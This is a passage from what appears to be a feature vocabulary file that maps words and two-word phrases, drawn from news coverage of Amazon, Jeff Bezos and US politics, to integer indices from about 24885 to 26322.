trying": 24885, "lew blasts": 24886, "1342et": 24887, "unconvinced": 24888, "started raising": 24889, "actual shape": 24890, "little hidden": 24891, "current version": 24892, "research looks": 24893, "fighter jet": 24894, "beefed": 24895, "arthur carter": 24896, "taliban agrees": 24897, "interests enjoy": 24898, "spending excluding": 24899, "5000 gpu": 24900, "issue plays": 24901, "desktop": 24902, "galleries mma": 24903, "boyle screws": 24904, "possibly green": 24905, "generous deal": 24906, "does denounce": 24907, "forms 1modrbhhoanbrvskixwtgzuz0cwxvtijnzeiftlvzvuq": 24908, "opened roads": 24909, "leader xin": 24910, "details watchdog": 24911, "adult center": 24912, "riggs riggs": 24913, "damian paletta": 24914, "far failed": 24915, "bloomberg called": 24916, "roundup retailers": 24917, "growing risk": 24918, "platt": 24919, "new space": 24920, "legislation trump": 24921, "american vandal": 24922, "views alphabet": 24923, "feud new": 24924, "brain body": 24925, "guggenheims": 24926, "big impact": 24927, "utah rep": 24928, "cash star": 24929, "misleading regulatorsabout": 24930, "want google": 24931, "intently linked": 24932, "gas business": 24933, "public comment": 24934, "schools communities": 24935, "leaders alike": 24936, "jumped 186": 24937, "carell claimed": 24938, "thanksgiving turkey": 24939, "big holding": 24940, "washington afp": 24941, "designed fundamental": 24942, "vape pen": 24943, "bedrooms": 24944, "student tragic": 24945, "purchases ahead": 24946, "quicker bezos": 24947, "legal reasons": 24948, "spike 2018": 24949, "2018 bebeto": 24950, "tantrums don": 24951, "person business": 24952, "trail longer": 24953, "obsessive feud": 24954, "drain away": 24955, "motors lockheed": 24956, "obviously inspired": 24957, "tsa": 24958, "tract 32003002962": 24959, "maintained senate": 24960, "provides data": 24961, "distinguished fellow": 24962, "released newswire": 24963, "digital realms": 24964, "imageserve 42496460": 24965, "bad ways": 24966, "planes including": 24967, "icymi film": 24968, "twitter sen": 24969, "scandalous abuse": 24970, "strategy firm": 24971, "world role": 24972, "divorce earlier": 24973, "627666862": 24974, "world microsoft": 24975, "sortorder": 24976, "gabrielle dennis": 24977, "usps labor": 24978, "battling amazon": 24979, "bezos doing": 24980, "host greta": 24981, "66947332 cms": 24982, "saw small": 24983, "closer cooperation": 24984, "amzn wade": 24985, "net overweight": 24986, "vaccine friendly": 24987, "street targets": 24988, "harper design": 24989, "jobs coming": 24990, "problem appreciate": 24991, "hurricane maria": 24992, "faced moments": 24993, "using revenues": 24994, "rice mulls": 24995, "services worldwide": 24996, "knockoffs promoting": 24997, "stock gains": 24998, "oman": 24999, "user figures": 25000, "dynamics": 25001, "hero treatment": 25002, "catastrophic warming": 25003, "trump associate": 25004, "capitalization microsoft": 25005, "2018 radioresource": 25006, "prices ensuing": 25007, "fact linked": 25008, "involves charging": 25009, "millennial readers": 25010, "chinese bowing": 25011, "investment investors": 25012, "y6 var": 25013, "ernest": 25014, "huge list": 25015, "wild paterson": 25016, "leaders touted": 25017, "jack beatty": 25018, "does contribute": 25019, "prioritize poor": 25020, "lifeline": 25021, "locker room": 25022, "adsection": 25023, "compass": 25024, "acquired racy": 25025, "massachusetts democrat": 25026, "hartley act": 25027, "desk just": 25028, "mandatory housing": 25029, "kelly communications": 25030, "markay lachlan": 25031, "detected suspicious": 25032, "different sellers": 25033, "editorial decisions": 25034, "national service": 25035, "profit called": 25036, "weak case": 25037, "bloomberg report": 25038, "mont": 25039, "department cronyism": 25040, "ringwald supports": 25041, "overcrowded subways": 25042, "lengthy blog": 25043, "briefly worth": 25044, "henry holt": 25045, "la w5": 25046, "violations ami": 25047, "program established": 25048, "trump bugbears": 25049, "best political": 25050, "operations systems": 25051, "small chip": 25052, "completely isolated": 25053, "supposedly posed": 25054, "automobilnews": 25055, "wrongdoing ms": 25056, "owners hurt": 25057, "people warned": 25058, "analyst 2019": 25059, "infrastructure week": 25060, "advantage extracting": 25061, "staunchly": 25062, "view ripping": 25063, "bowl 2019": 25064, "terrace": 25065, "feel churn": 25066, "sanders vt": 25067, "trump predecessors": 25068, "dribbling": 25069, "criticise saudi": 25070, "thailand": 25071, "taxes makes": 25072, "animates politics": 25073, "2000s eventually": 25074, "electronic benefits": 25075, "insinuated president": 25076, "surrounding apple": 25077, "popular shopper": 25078, "target enterprise": 25079, "rain carried": 25080, "f4": 25081, "capital region": 25082, "vendors peter": 25083, "officials tries": 25084, "bedposts gerald": 25085, "radio news": 25086, "employ 000": 25087, "founder remain": 25088, "convoluted background": 25089, "rumors speculation": 25090, "2018 min": 25091, "true conservative": 25092, "neon braid": 25093, "story construction": 25094, "boy cbs": 25095, "mattingly live": 25096, "tablets suck": 25097, "disposable": 25098, "grey": 25099, "ad council": 25100, "marketplaces companies": 25101, "sanchez featured": 25102, "roma downey": 25103, "things prefer": 25104, "meaning people": 25105, "excessive power": 25106, "think donald": 25107, "definitely knock": 25108, "2002 winter": 25109, "site contains": 25110, "invest advisors": 25111, "keynote earlier": 25112, "competition authority": 25113, "tourists": 25114, "editor": 25115, "poses": 25116, "quiz games": 25117, "music": 25118, "prices reducing": 25119, "franciscan": 25120, "way impact": 25121, "calling people": 25122, "lower annual": 25123, "altar": 25124, "reportsthat trump": 25125, "reports analysts": 25126, "wicked cool": 25127, "looking": 25128, "warren buffet": 25129, "mair lizmair": 25130, "ribisi stars": 25131, "subsequently launched": 25132, "penning blog": 25133, "list stars": 25134, "boston news": 25135, "journalist lauren": 25136, "independent millionaire": 25137, "american sanctions": 25138, "help cps": 25139, "2017 inaugural": 25140, "300f delivered": 25141, "site trump": 25142, "wives": 25143, "prices ranging": 25144, "paying daniels": 25145, "cooper swearing": 25146, "point": 25147, "absolutely mind": 25148, "time having": 25149, "loyalists": 25150, "herera yes": 25151, "enquirer expos\u00e9": 25152, "trump bolsters": 25153, "paratroopers jump": 25154, "repeatedly trying": 25155, "course doesn": 25156, "exterior": 25157, "afterward 2018": 25158, "hong": 25159, "gianaris joined": 25160, "owned surveillance": 25161, "approximately 116": 25162, "mind reads": 25163, "carrier open": 25164, "david remnick": 25165, "starting pay": 25166, "extra caption": 25167, "include person": 25168, "million frank": 25169, "far short": 25170, "publishing information": 25171, "prayerand": 25172, "wife jocelyn": 25173, "squall": 25174, "online payments": 25175, "sources known": 25176, "carmaggedon": 25177, "100 height": 25178, "itep criticized": 25179, "gop time": 25180, "woo attributes": 25181, "strap": 25182, "tonight fortune": 25183, "thatbefore": 25184, "stinging": 25185, "bruno": 25186, "instantly": 25187, "reported 164": 25188, "corsi writes": 25189, "international giant": 25190, "lucrative business": 25191, "plaque": 25192, "urban environments": 25193, "invoicing amazon": 25194, "forefront according": 25195, "zone based": 25196, "patiently": 25197, "business results": 25198, "credentials": 25199, "1116et copyright": 25200, "loses millions": 25201, "worst losses": 25202, "biased observers": 25203, "affecting new": 25204, "process brian": 25205, "debt repayment": 25206, "independently owns": 25207, "changes including": 25208, "buying ami": 25209, "object": 25210, "conflicts leading": 25211, "news despite": 25212, "seraph": 25213, "llc amazon": 25214, "brother jeb": 25215, "shares jeff": 25216, "witter brokerage": 25217, "covers national": 25218, "state concern": 25219, "officer tony": 25220, "twins": 25221, "functionally amazon": 25222, "including qualcomm": 25223, "hoarding": 25224, "governmental bodies": 25225, "firecracker internally": 25226, "notable milestone": 25227, "air transportation": 25228, "260 000": 25229, "doj policy": 25230, "manager whitney": 25231, "polly columnist": 25232, "global fear": 25233, "embody liberal": 25234, "msft msft": 25235, "scheme involving": 25236, "relatable shows": 25237, "bristol john": 25238, "idiosyncratic": 25239, "amazon ownership": 25240, "keri russell": 25241, "clark st": 25242, "unfounded hype": 25243, "maker numbers": 25244, "wearables": 25245, "pre order": 25246, "owns wapo": 25247, "canada reached": 25248, "private insurers": 25249, "stories exist": 25250, "armedia management": 25251, "request antitrust": 25252, "believe michael": 25253, "lawful": 25254, "year zuckerberg": 25255, "partly corrected": 25256, "leukemia": 25257, "market access": 25258, "additionally makes": 25259, "fagna najarian": 25260, "don mcgahn": 25261, "advantages attributed": 25262, "1972": 25263, "breaking bones": 25264, "flyingtypers offering": 25265, "nato allies": 25266, "dre": 25267, "jefferies maintained": 25268, "male jewish": 25269, "pubg\u52df\u96c6": 25270, "member mario": 25271, "2018 nfl": 25272, "world shook": 25273, "city drew": 25274, "159 page": 25275, "live conference": 25276, "retail hegemony": 25277, "environmental changes": 25278, "sessionstorage": 25279, "surpassed direct": 25280, "fact seeing": 25281, "assuaged dread": 25282, "gm pointed": 25283, "garage bezos": 25284, "kyleperisic": 25285, "work brian": 25286, "rossi journalist": 25287, "family playbook": 25288, "tech leader": 25289, "greenpeace activists": 25290, "amicable separation": 25291, "picked hq2": 25292, "obama wrote": 25293, "international charts": 25294, "wisconsin power": 25295, "advancing": 25296, "work harder": 25297, "beat democratic": 25298, "service operating": 25299, "najib": 25300, "repel": 25301, "allows google": 25302, "2018 woodward": 25303, "trump nato": 25304, "weeks australian": 25305, "offers workers": 25306, "possibly caused": 25307, "world biggest": 25308, "factor hile": 25309, "sack": 25310, "talented workforce": 25311, "market icon": 25312, "coming tariffs": 25313, "aya0kkbxn2 pic": 25314, "highest dividend": 25315, "ascend": 25316, "oversight independent": 25317, "aoc needs": 25318, "germany activists": 25319, "amazon branded": 25320, "hilarious debut": 25321, "reduce overall": 25322, "americans need": 25323, "649": 25324, "incredibly powerful": 25325, "aws kicked": 25326, "extending declines": 25327, "main partners": 25328, "francisco chavez": 25329, "728": 25330, "shootings education": 25331, "unscrupulous sellers": 25332, "esquivel": 25333, "exports commitment": 25334, "phosphate": 25335, "provision chain": 25336, "grasp": 25337, "nooyi led": 25338, "isolated cases": 25339, "ordonez cnn": 25340, "fair assessment": 25341, "queens stems": 25342, "sent terror": 25343, "investigations trump": 25344, "edugyan": 25345, "victims suggested": 25346, "nude photos": 25347, "war torn": 25348, "wnyc": 25349, "trillion company": 25350, "unveiled plan": 25351, "ii media": 25352, "european prime": 25353, "personal continue": 25354, "emergency workers": 25355, "company blue": 25356, "sabrent": 25357, "endless details": 25358, "transition teams": 25359, "hitman": 25360, "management believes": 25361, "ro\u00f1o": 25362, "company don": 25363, "pond drive": 25364, "proudly supported": 25365, "just read": 25366, "school buses": 25367, "wheelchair ramp": 25368, "company 280": 25369, "commercial material": 25370, "scripts proxy": 25371, "tissue research": 25372, "speech health": 25373, "dolly": 25374, "propel additional": 25375, "lobbying force": 25376, "totally independent": 25377, "explanations": 25378, "years protecting": 25379, "lgbtq athletes": 25380, "service claiming": 25381, "goods amazon": 25382, "sufficient standard": 25383, "ai object": 25384, "suspended work": 25385, "davivd cohnovernight": 25386, "draws backlash": 25387, "party ballot": 25388, "investors new": 25389, "key justice": 25390, "horizontal merger": 25391, "stone previously": 25392, "jessica harris": 25393, "haberman maggienyt": 25394, "amazon benefitted": 25395, "potus announced": 25396, "madcap": 25397, "rebel held": 25398, "hughes becker": 25399, "ecosystems": 25400, "latest calculation": 25401, "financial strength": 25402, "early 18th": 25403, "raided": 25404, "cortez 14th": 25405, "russian crime": 25406, "mck cardinal": 25407, "islamophobic anti": 25408, "proposal expands": 25409, "exports rebound": 25410, "prominent": 25411, "afternoon rush": 25412, "endcorporatewelfare": 25413, "used tactics": 25414, "forest coverage": 25415, "bunch": 25416, "zieminski": 25417, "hd cameras": 25418, "trump store": 25419, "ditch trump": 25420, "teachers strike": 25421, "pork": 25422, "directly challenge": 25423, "haynes location": 25424, "nyu scott": 25425, "gap alaraby": 25426, "amazon racial": 25427, "1537et": 25428, "mcconnell anti": 25429, "managerial": 25430, "chile": 25431, "greyhounds": 25432, "primarily pushback": 25433, "trump indiana": 25434, "purchasers identities": 25435, "america jin": 25436, "women cupp": 25437, "states bureau": 25438, "sayed": 25439, "pretty bad": 25440, "flagrant": 25441, "business bulls": 25442, "constitution rudy": 25443, "608 million": 25444, "sources familiar": 25445, "reporters churned": 25446, "hutaaulmbj": 25447, "fend": 25448, "forest alessandra": 25449, "higher turnout": 25450, "robert kraft": 25451, "photos exchanged": 25452, "billion according": 25453, "broad overhaul": 25454, "streaming library": 25455, "careful lyin": 25456, "season happening": 25457, "theories investigators": 25458, "allowing governors": 25459, "van susteren": 25460, "siddiqui": 25461, "country attorney": 25462, "implicated providing": 25463, "geddes privatization": 25464, "amazon simply": 25465, "channel pati": 25466, "bush service": 25467, "isn voting": 25468, "americans mail": 25469, "spokesperson issued": 25470, "outbid": 25471, "compare": 25472, "yeah think": 25473, "avalara maker": 25474, "breakthrough ideas": 25475, "ad brad": 25476, "newswire united": 25477, "company sanders": 25478, "today passed": 25479, "fell nearly": 25480, "source markets": 25481, "dakota favor": 25482, "deadly wildfires": 25483, "mahon": 25484, "sharply imports": 25485, "owner penis": 25486, "company picked": 25487, "hot seller": 25488, "marvel iron": 25489, "federal claims": 25490, "north jersey": 25491, "sox": 25492, "saw millions": 25493, "pays close": 25494, "intentionally false": 25495, "live": 25496, "remains unconcerned": 25497, "reddit forum": 25498, "weren adversely": 25499, "phelps": 25500, "detained men": 25501, "states secretary": 25502, "patient makes": 25503, "doing given": 25504, "conversation brian": 25505, "01am home": 25506, "pausing": 25507, "trump loyalist": 25508, "money expect": 25509, "ailing usps": 25510, "twitter tobinben": 25511, "owned businesses": 25512, "public wrote": 25513, "refueling advanced": 25514, "center hardware": 25515, "job listings": 25516, "jemmons aka": 25517, "pay low": 25518, "billion prior": 25519, "gop legislature": 25520, "ftc inquiry": 25521, "media": 25522, "remain convinced": 25523, "stranded weather": 25524, "repeat shopper": 25525, "perennially": 25526, "yes wrote": 25527, "suitor": 25528, "tucker carlson": 25529, "uber technologies": 25530, "abrupt withdrawal": 25531, "deceived": 25532, "tabloid bezos": 25533, "doing alright": 25534, "unrelated deaths": 25535, "hotter": 25536, "long term": 25537, "fact checked": 25538, "tried reaching": 25539, "equity owns": 25540, "walt": 25541, "job interview": 25542, "amazon atlantic": 25543, "additional 355": 25544, "columnist danny": 25545, "matador pocket": 25546, "cited": 25547, "country hudson": 25548, "rate increases": 25549, "uber sure": 25550, "monetary adjustments": 25551, "proctor gamble": 25552, "png wadtw": 25553, "preaker sent": 25554, "country continues": 25555, "2019 nasdaq": 25556, "does rise": 25557, "eric darling": 25558, "prominent republican": 25559, "capitol report": 25560, "essentially locked": 25561, "selling tax": 25562, "millionaire survey": 25563, "hurts millions": 25564, "wolfs": 25565, "story prompted": 25566, "president calling": 25567, "business contractors": 25568, "executive sergio": 25569, "vermont oxycontin": 25570, "spring fund": 25571, "subsidies offered": 25572, "complex tax": 25573, "objections later": 25574, "collars books": 25575, "impressively profitable": 25576, "european stocks": 25577, "monuments": 25578, "177 shares": 25579, "center forum": 25580, "pushed procter": 25581, "killing amazon": 25582, "learning opportunities": 25583, "rooney 2017": 25584, "great amazon": 25585, "industry importantly": 25586, "future brent": 25587, "old writer": 25588, "logistics operation": 25589, "confidant": 25590, "products headed": 25591, "article 231": 25592, "exotic type": 25593, "defense james": 25594, "virus vaccine": 25595, "provides sellers": 25596, "remake stars": 25597, "best coach": 25598, "source project": 25599, "offset future": 25600, "promptly took": 25601, "metals microbiology": 25602, "oena diamond": 25603, "constantly competing": 25604, "trump orders": 25605, "ep": 25606, "year 2037": 25607, "germany bayer": 25608, "a8": 25609, "trump publication": 25610, "derisively": 25611, "brings plenty": 25612, "bittman": 25613, "recent rout": 25614, "ziedins says": 25615, "topstories html": 25616, "character chris": 25617, "outrage especially": 25618, "hallum capital": 25619, "growth predicted": 25620, "trillion figure": 25621, "identify plan": 25622, "definitely hasn": 25623, "georgescu": 25624, "podcast town": 25625, "yes good": 25626, "global giant": 25627, "create monster": 25628, "burns ap": 25629, "inspired legions": 25630, "quality vendor": 25631, "stock plunged": 25632, "mayor rudy": 25633, "sided news": 25634, "detention centers": 25635, "faith negotiations": 25636, "acosta credentials": 25637, "merkle": 25638, "wants ban": 25639, "unsuccessfully sued": 25640, "peasant": 25641, "boats don": 25642, "chinese workers": 25643, "import tax": 25644, "scrap roe": 25645, "abc elizabeth": 25646, "hq2 contest": 25647, "afp getty": 25648, "files exposed": 25649, "500 foreign": 25650, "holly sullivan": 25651, "wilson restraining": 25652, "quarterly record": 25653, "vox reached": 25654, "requested anonymity": 25655, "policies written": 25656, "fiscal policy": 25657, "resource management": 25658, "rainy days": 25659, "href jquery": 25660, "seventeen authors": 25661, "intermediaries integrating": 25662, "read sears": 25663, "recounted tales": 25664, "shoe retailer": 25665, "jr acknowledges": 25666, "unflattering headlines": 25667, "feast": 25668, "law msh": 25669, "amazon limited": 25670, "handle people": 25671, "president trade": 25672, "world doesn": 25673, "process returns": 25674, "headcount investments": 25675, "woman prior": 25676, "2016 elections": 25677, "military base": 25678, "markle wedding": 25679, "worth trillion": 25680, "adventure": 25681, "company toxic": 25682, "sought advice": 25683, "ponti": 25684, "bo": 25685, "comedy exactly": 25686, "articles panel": 25687, "damned think": 25688, "urge corporate": 25689, "anchor climbing": 25690, "backdoor profits": 25691, "ami conceded": 25692, "manager express": 25693, "advertising live": 25694, "life begins": 25695, "aspart": 25696, "reputed fake": 25697, "technology platform": 25698, "walks past": 25699, "surprise": 25700, "european cars": 25701, "compton cap": 25702, "venture capitalist": 25703, "depot walmart": 25704, "cc fscavo": 25705, "obtained text": 25706, "forming crony": 25707, "prisoners untrained": 25708, "ben kirshner": 25709, "figure slumped": 25710, "justice according": 25711, "encourage employers": 25712, "item": 25713, "personal animus": 25714, "county line": 25715, "privacy scandals": 25716, "worker treatment": 25717, "583": 25718, "marthaw": 25719, "snot": 25720, "armando": 25721, "claim rated": 25722, "philosophic": 25723, "ng newstageng": 25724, "seeking replacement": 25725, "bezos attorney": 25726, "retail transaction": 25727, "mar lago": 25728, "including hundreds": 25729, "company doesn": 25730, "operators": 25731, "investigating antitrust": 25732, "defying": 25733, "reported proudly": 25734, "technology healthcare": 25735, "svp": 25736, "fundamental risk": 25737, "stamford": 25738, "slightest concern": 25739, "did agree": 25740, "washington washington": 25741, "daddy warbucks": 25742, "missouri ad": 25743, "hearings followed": 25744, "commerce capturing": 25745, "bezos chairman": 25746, "thomas cooke": 25747, "factories run": 25748, "buffett wrote": 25749, "letter support": 25750, "mia goth": 25751, "veteran party": 25752, "replaces": 25753, "ridiculous amazon": 25754, "recovery rival": 25755, "quarterly meeting": 25756, "traction": 25757, "available online": 25758, "antithetical": 25759, "restaurant 2013": 25760, "unsettlingly bald": 25761, "evidently": 25762, "revitalize": 25763, "skit": 25764, "hose": 25765, "power people": 25766, "000 tenfold": 25767, "straight gain": 25768, "powerfully appealed": 25769, "dave king": 25770, "airbnb operates": 25771, "stock anxiety": 25772, "women candidates": 25773, "obvious change": 25774, "pring": 25775, "goof": 25776, "aughts help": 25777, "ex wife": 25778, "car garage": 25779, "rung communication": 25780, "firm paysa": 25781, "data used": 25782, "bold added": 25783, "bell penney": 25784, "ones alive": 25785, "european unions": 25786, "920 price": 25787, "longer running": 25788, "plaza": 25789, "cowboys": 25790, "american businesses": 25791, "benefits claims": 25792, "website c5": 25793, "stars thank": 25794, "advisor facing": 25795, "awfully": 25796, "profits index": 25797, "angerer think": 25798, "tedx talk": 25799, "bald head": 25800, "include rise": 25801, "congress falls": 25802, "huge draw": 25803, "lawbreaking": 25804, "276": 25805, "wow factor": 25806, "increase prices": 25807, "feel confident": 25808, "data care": 25809, "unlock doors": 25810, "company sellers": 25811, "initiatives hoped": 25812, "mixes media": 25813, "subscriber base": 25814, "better customer": 25815, "teirstein": 25816, "guns led": 25817, "annually according": 25818, "caucus wrote": 25819, "commerce castro": 25820, "children watch": 25821, "walker donald": 25822, "imports maduro": 25823, "hawk told": 25824, "inches total": 25825, "fortune hovers": 25826, "china relations": 25827, "wave andrea": 25828, "estad\u0103o conte\u00fado": 25829, "foto sourcephoto": 25830, "brands topped": 25831, "ranked second": 25832, "difficulty shopping": 25833, "earvil watson": 25834, "cbs london": 25835, "large banner": 25836, "financial experts": 25837, "corporate oligarchs": 25838, "journey begins": 25839, "glorify hatred": 25840, "haymarket books": 25841, "subjugate americans": 25842, "investors tonight": 25843, "named lina": 25844, "fascinating interplay": 25845, "career aspirations": 25846, "communications technology": 25847, "colluded massively": 25848, "mile truck": 25849, "tina": 25850, "canada 8217": 25851, "minor elements": 25852, "mckinsey": 25853, "1041868256464654336": 25854, "news coverage": 25855, "strategy": 25856, "held sway": 25857, "___ china": 25858, "innovation click": 25859, "fresh vigor": 25860, "critical tweets": 25861, "mount 2018": 25862, "news closed": 25863, "projects harris": 25864, "credit meaning": 25865, "say ensured": 25866, "gain worldwide": 25867, "berman jackson": 25868, "h5 w5": 25869, "illiterate tracy": 25870, "stakes expenditures": 25871, "hours wage": 25872, "counterfeiters peter": 25873, "congress stay": 25874, "avoiding state": 25875, "headlinetext videocollectiondivid": 25876, "ft continues": 25877, "relatively esoteric": 25878, "topics feature": 25879, "love rules": 25880, "drawn trump": 25881, "kuow reports": 25882, "spent decades": 25883, "similar criticism": 25884, "offers lot": 25885, "second straight": 25886, "america default": 25887, "college life": 25888, "c4e stop": 25889, "large percentage": 25890, "settled kenzie": 25891, "men club": 25892, "representing rivals": 25893, "robert patterson": 25894, "hundreds understand": 25895, "oracle database": 25896, "minor injury": 25897, "trade expert": 25898, "consider guild": 25899, "counsel russia": 25900, "global stories": 25901, "risks making": 25902, "netscape microsoft": 25903, "amazon nyx": 25904, "bias regarding": 25905, "women straight": 25906, "jughead betty": 25907, "ajilore": 25908, "results looking": 25909, "launching attacks": 25910, "ordering review": 25911, "want total": 25912, "yankees": 25913, "disorganized rawat": 25914, "lose 350": 25915, "world leading": 25916, "chops amazon": 25917, "dollars left": 25918, "drive sales": 25919, "past words": 25920, "jazeera cnbc": 25921, "joint press": 25922, "motley fool": 25923, "wall shut": 25924, "wage gains": 25925, "taxes click": 25926, "news accurately": 25927, "slight gains": 25928, "tests trump": 25929, "aldous": 25930, "national postal": 25931, "government testing": 25932, "spleen": 25933, "bhp": 25934, "kernel": 25935, "suck says": 25936, "socialist alexandria": 25937, "video direct": 25938, "0r3wioxgeh": 25939, "taxpayers hundreds": 25940, "ozer": 25941, "stampede": 25942, "commandeering": 25943, "targeting lower": 25944, "bon ton": 25945, "raise traditional": 25946, "puzder source": 25947, "socks responds": 25948, "colonial relationships": 25949, "total tab": 25950, "undocumented workers": 25951, "house source": 25952, "competition commission": 25953, "askthemayor": 25954, "commercial transactions": 25955, "impeachment pressure": 25956, "expensive step": 25957, "shareholder did": 25958, "late anthony": 25959, "reflected disapproval": 25960, "agencies interests": 25961, "sent 610": 25962, "request lacks": 25963, "neidig": 25964, "punitive permissions": 25965, "based expert": 25966, "000 retweets": 25967, "curated editorial": 25968, "active employees": 25969, "sailors": 25970, "identifiable subsidiaries": 25971, "stefano gabbana": 25972, "council passed": 25973, "second nature": 25974, "viewed": 25975, "oreg commercial": 25976, "domenic esposito": 25977, "reason trump": 25978, "amazon surged": 25979, "trusted": 25980, "having larger": 25981, "decision outstanding": 25982, "legislatures national": 25983, "374 cnl_name": 25984, "preferred language": 25985, "malicious rumors": 25986, "echo dots": 25987, "screwing": 25988, "quickly gentrifying": 25989, "indirectly correlated": 25990, "privately pushing": 25991, "1062486469602766848 washington": 25992, "polarized": 25993, "company newest": 25994, "built reputation": 25995, "trademark infringing": 25996, "doug hoffer": 25997, "presidential race": 25998, "job donald": 25999, "best attributes": 26000, "margin expansion": 26001, "red pill": 26002, "rayasam": 26003, "political expert": 26004, "2013 book": 26005, "save president": 26006, "strathwood": 26007, "ky chan": 26008, "highlighting": 26009, "delivery guaranteed": 26010, "start season": 26011, "finely": 26012, "stockholders painter": 26013, "member club": 26014, "saw pearl": 26015, "108": 26016, "incentivized": 26017, "companions": 26018, "134 active": 26019, "long fbi": 26020, "flasks": 26021, "delivery vehicles": 26022, "local walmart": 26023, "established proud": 26024, "salesforce pledges": 26025, "voter turnout": 26026, "promised amazon": 26027, "humble": 26028, "amazon economist": 26029, "trump hotels": 26030, "schwab strategic": 26031, "states speaker": 26032, "older americans": 26033, "irresponsible completely": 26034, "new ai": 26035, "news company": 26036, "political parties": 26037, "jarrett live": 26038, "shuddering": 26039, "singer cahnemily": 26040, "unrivaled": 26041, "weaker product": 26042, "capital shared": 26043, "commensurate action": 26044, "wantit": 26045, "minivans": 26046, "hands doesn": 26047, "radical agenda": 26048, "occasions benefit": 26049, "future market": 26050, "consumer goods": 26051, "comic book": 26052, "threatens border": 26053, "heterosexual": 26054, "ron goldman": 26055, "wage tennessee": 26056, "apec canadian": 26057, "grudges trump": 26058, "acquiring elemental": 26059, "don thave": 26060, "vaxxer narcissists": 26061, "pen": 26062, "glance virginia": 26063, "getting hit": 26064, "support prowrestling": 26065, "swatch": 26066, "taking bite": 26067, "ignorant": 26068, "helping people": 26069, "quit trump": 26070, "uplifting": 26071, "local stakeholders": 26072, "carlson book": 26073, "scant": 26074, "syria does": 26075, "week declining": 26076, "xoxo": 26077, "dollar terminal": 26078, "called botnets": 26079, "cafe creator": 26080, "parted": 26081, "closely griffeth": 26082, "justice pick": 26083, "usps perennial": 26084, "competitors critics": 26085, "legally adopted": 26086, "campaign announced": 26087, "renovate": 26088, "tournament cbs": 26089, "reported comgest": 26090, "heavy criticism": 26091, "badass nurse": 26092, "various arts": 26093, "curtis": 26094, "govpredict analyzed": 26095, "pro lgbt": 26096, "tax filings": 26097, "cloud community": 26098, "stickers": 26099, "press vehemently": 26100, "inform": 26101, "valley technology": 26102, "expect operating": 26103, "realme launched": 26104, "possible response": 26105, "geekwire pointed": 26106, "boundaries coupled": 26107, "children hours": 26108, "rigged game": 26109, "trailblazing": 26110, "digital director": 26111, "needs": 26112, "positive light": 26113, "kinsey grant": 26114, "challenger matt": 26115, "tacked": 26116, "crowley": 26117, "dimension sources": 26118, "wp owned": 26119, "morning according": 26120, "tivo corp": 26121, "francisco woman": 26122, "caps headline": 26123, "deceased father": 26124, "produce plan": 26125, "entering crucial": 26126, "apple boss": 26127, "john legend": 26128, "outflows detected": 26129, "2009 recession": 26130, "job motivated": 26131, "safety tango": 26132, "tax online": 26133, "interviewer david": 26134, "text descriptions": 26135, "failing drug": 26136, "buy": 26137, "laura cox": 26138, "paid family": 26139, "peppler": 26140, "necessarily warrant": 26141, "stakes 105": 26142, "company proclaims": 26143, "books including": 26144, "changing people": 26145, "containercontents branding": 26146, "trading experience": 26147, "say html": 26148, "2018 theoretically": 26149, "wider audience": 26150, "wolfe": 26151, "inhabitant bezos": 26152, "post noting": 26153, "scheduled ahead": 26154, "elsea litigator": 26155, "198 new": 26156, "personally know": 26157, "make watching": 26158, "profit combined": 26159, "953 511": 26160, "real news": 26161, "gas tires": 26162, "thinking state": 26163, "backend": 26164, "political sway": 26165, "hold leadership": 26166, "kint ceo": 26167, "vox sign": 26168, "speeches abimbola": 26169, "unknown risks": 26170, "awards later": 26171, "problems typically": 26172, "papa": 26173, "changed used": 26174, "governmental": 26175, "established tradition": 26176, "loophole consumers": 26177, "ericengleman kyle": 26178, "mutant": 26179, "square tower": 26180, "say hey": 26181, "xi belt": 26182, "diddly": 26183, "teachers retirement": 26184, "trump characterization": 26185, "cumulatively": 26186, "years columbus": 26187, "absurd trump": 26188, "enables customers": 26189, "advsrs incorporated": 26190, "heads governor": 26191, "pcs": 26192, "120k job": 26193, "huge fortunes": 26194, "far devil": 26195, "strength": 26196, "bernie sanders": 26197, "congress reacts": 26198, "weather oscars": 26199, "gotten lost": 26200, "camera lot": 26201, "collusion collusion": 26202, "chinese": 26203, "man just": 26204, "representatives pushed": 26205, "futures lost": 26206, "turbulent year": 26207, "claiming tax": 26208, "close asi": 26209, "schiff calif": 26210, "explicitly": 26211, "literary genesis": 26212, "experience contract": 26213, "rile": 26214, "trump ain": 26215, "british virgin": 26216, "laughs sample": 26217, "946": 26218, "business association": 26219, "whim": 26220, "polarized america": 26221, "footage looks": 26222, "twitter turn": 26223, "return rental": 26224, "drank": 26225, "suburbs including": 26226, "jpg bricks": 26227, "big supreme": 26228, "trump views": 26229, "says expectations": 26230, "glance vatican": 26231, "mistress 200": 26232, "fluctuated": 26233, "print amazon": 26234, "vengeance": 26235, "people typically": 26236, "going tohappen": 26237, "ccoo": 26238, "respected worker": 26239, "2008 defense": 26240, "identified ms": 26241, "palladium prns": 26242, "altogether": 26243, "campaign appears": 26244, "memory bob": 26245, "unconfirmed sources": 26246, "youth led": 26247, "bc dc": 26248, "arabia ami": 26249, "chimed": 26250, "kelly denied": 26251, "island metropolis": 26252, "white bret": 26253, "dinner held": 26254, "reuters john": 26255, "chicago tribune": 26256, "sucharita kodali": 26257, "shane bauer": 26258, "shipping giant": 26259, "browder": 26260, "moving team": 26261, "matches people": 26262, "roastery": 26263, "brand sale": 26264, "tonight amobi": 26265, "superior data": 26266, "vest emblazoned": 26267, "experimentative": 26268, "trump stormy": 26269, "campaigned": 26270, "layers": 26271, "trump halfhearted": 26272, "1200et copyright": 26273, "criminalize dissent": 26274, "isn present": 26275, "best worst": 26276, "messed": 26277, "critical partner": 26278, "cp": 26279, "travel quiz": 26280, "shelves despite": 26281, "lindy west": 26282, "senate 2018": 26283, "toilet seat": 26284, "senior tech": 26285, "bezos publication": 26286, "change going": 26287, "purported immigrant": 26288, "law zinke": 26289, "satellite images": 26290, "disagree": 26291, "carta jamal": 26292, "live celtic": 26293, "layered": 26294, "immediately undo": 26295, "propagandists tried": 26296, "collect report": 26297, "tom fitton": 26298, "acquisition hired": 26299, "biographer": 26300, "thought bubble": 26301, "secure locks": 26302, "surveillance valley": 26303, "pierce county": 26304, "fresh lows": 26305, "advances barr": 26306, "throttle amazon": 26307, "churn higher": 26308, "topples": 26309, "god heart": 26310, "allows class": 26311, "story continues": 26312, "handheld scanners": 26313, "easy question": 26314, "mindsets": 26315, "unsold merchandise": 26316, "showing promise": 26317, "experimental alzheimer": 26318, "examining possible": 26319, "madeira basin": 26320, "administration hired": 26321, "calls national": 26322, 